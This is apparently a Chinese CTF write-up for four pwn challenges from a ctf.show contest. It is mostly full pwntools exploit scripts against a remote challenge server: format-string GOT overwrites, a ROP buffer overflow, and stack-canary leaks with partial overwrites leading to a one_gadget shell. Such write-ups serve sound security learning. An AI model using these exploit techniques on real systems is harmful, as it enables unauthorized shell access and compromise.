感谢1p0ch师傅
最近参加了ctf.show举办的一个比赛,做了一下pwn题,以下是我的一些wp,由于本人能力有限,菜的一批,如果有什么不对的地方,请多包含。
签到题直接nc上去以后发现考察的是linux的基本操作,程序过滤掉了空格,cat,但是我们可以ls查看
more
格式化字符串漏洞,我们可以修改got表,这样就有一个无限格式化字符串漏洞的程序了。
#! /usr/bin/env python
from pwn import *
from LibcSearcher import *
sh=remote('124.156.121.112',28028)
#sh=process('./pwn2')
elf=ELF('./pwn2')
#context.log_level='debug'
puts_got=elf.got['puts']
printf_got=elf.got['printf']
memset_addr=elf.got['memset']
#0x0400AA0
payload1='%64c%11$hn%2656c%12$hnAA'+p64(memset_addr+2)+p64(memset_addr)
#gdb.attach(sh)
sh.sendline(payload1)
payload2='AAAA%9$s'+p64(puts_got)
sh.recvuntil('please input name:\n')
#gdb.attach(sh)
sh.sendline(payload2)
sh.recvuntil('Hello AAAA')
puts_addr=u64(sh.recv(6).ljust(8,'\x00'))
print ('puts_addr:' +hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
print('system_addr:' +hex(system_addr))
def set_printf_to_system(system):
printf_got_addr=printf_got
x = system & 0xffffffff
a = x & 0xffff
a1 = printf_got_addr
b = (x>>16) & 0xffff
b1=printf_got_addr+2
if(a>b):
tmp=a
a=b
b=tmp
tmp=a1
a1=b1
b1=tmp
s="%"+str(a)+"c"
s+="%12$hn"
s+="%"+str(b-a)+"c"
s+="%13$hn"
for i in range(32-len(s)):
s+='a'
s+=p64(a1)
s+=p64(b1)
return s
payload3=set_printf_to_system(system_addr)
print (str(payload3))
#gdb,attach(sh)
sh.sendline(payload3)
payload4='/bin/sh\x00'
sh.sendline(payload4)
sh.interactive()
程序中没有参数,传入/bin/sh\x00,就可以getshell了
#! /usr/bin/env python
from pwn import *
sh=remote('124.156.121.112',28095)
#sh=process('./pwn3')
elf=ELF('./pwn3')
#context.log_level='debug'
gets_plt=elf.plt['gets']
system_plt=elf.plt['system']
pop_rdi=0x0000000000400733
bss_addr=0x601080
main_addr=0x0000000000400661
payload1='a'*0x2a0+'a'*8+p64(pop_rdi)+p64(bss_addr)+p64(gets_plt)+p64(main_addr)
sh.sendline(payload1)
payload2='/bin/sh\x00'
sh.sendline(payload2)
payload3='a'*0x2a0+'a'*8+p64(pop_rdi)+p64(bss_addr)+p64(system_plt)
sh.sendline(payload3)
#gdb.attach(sh)
sh.interactive()
程序开启了canary,pie,首先我们泄露canary,然后覆盖返回地址的最后一个字节,让程序可以重新执行,之后再泄露libc,最后one_gadget就可以getshell了。
#! /usr/bin/env python
from pwn import *
from LibcSearcher import *
sh=remote('124.156.121.112',28090)
#sh=process('./pwn4')
elf=ELF('./pwn4')
context.log_level='debug'
payload1='A'*0x29
sh.send(payload1)
sh.recvuntil('A'*0x28)
canary=u64(sh.recv(8))-0x41
print ('canary:' +hex(canary))
ret_addr=0xffffffffff600400
ret=0xffffffffff600409
#0x0000000000000a62
payload2='a'*0x28+p64(canary)+'a'*0x18+'\x04'
#gdb.attach(sh)
sh.send(payload2)
payload3='a'*0x28+'a'*0x8+'a'*0x18
sh.send(payload3)
sh.recvuntil('a'*0x48)
libc_main_addr=u64(sh.recv(6).ljust(8,'\x00'))-240
print ('libc_main_addr:' +hex(libc_main_addr))
libc=LibcSearcher('__libc_start_main',libc_main_addr)
libc_base=libc_main_addr-libc.dump('__libc_start_main')
#0x45216
one_gedget=libc_base+0x45216
payload4='a'*0x28+p64(canary)+'a'*0x18+p64(one_gedget)
sh.send(payload4)
#gdb.attach(sh)
sh.interactive()
和上一道题利用思路一样。
#! /usr/bin/env python
#coding ='utf-8'
from pwn import *
from LibcSearcher import *
sh=remote('124.156.121.112',28006)
#sh=process('./pwn6')
elf=ELF('./pwn6')
context.log_level='debug'
payload='%9$p'
sh.send(payload)
sh.recvuntil('\x0a')
canary=int(sh.recv(18),16)
print('canary:' +hex(canary))
payload2='a'
sh.sendline(payload2)
payload3='a'*0x38+p64(canary)+'a'*0x18+'\x08'
这里覆盖返回地址最后一个字节的时候有错误,调试了半天也没弄明白,本来应该是\x10的,但是我发现\x08可以重新执行程序,\x10就不可以.哪位大佬如果知道可以指点一下。
#gdb.attach(sh)
sh.send(payload3)
payload4='%7$p'
#gdb.attach(sh)
sh.recvuntil('\x9f\x0a')
sh.send(payload4)
setvbuf_addr=int(sh.recv(14),16)-324
print('setvbuf:' +hex(setvbuf_addr))
libc=LibcSearcher('setvbuf',setvbuf_addr)
libc_base=setvbuf_addr-libc.dump('setvbuf')
sh.sendline(payload2)
#0xf1147
one_gadget=libc_base+0xf1147
payload5='a'*0x38+p64(canary)+'a'*0x18+p64(one_gadget)
sh.send(payload5)
#gdb.attach(sh)
sh.interactive()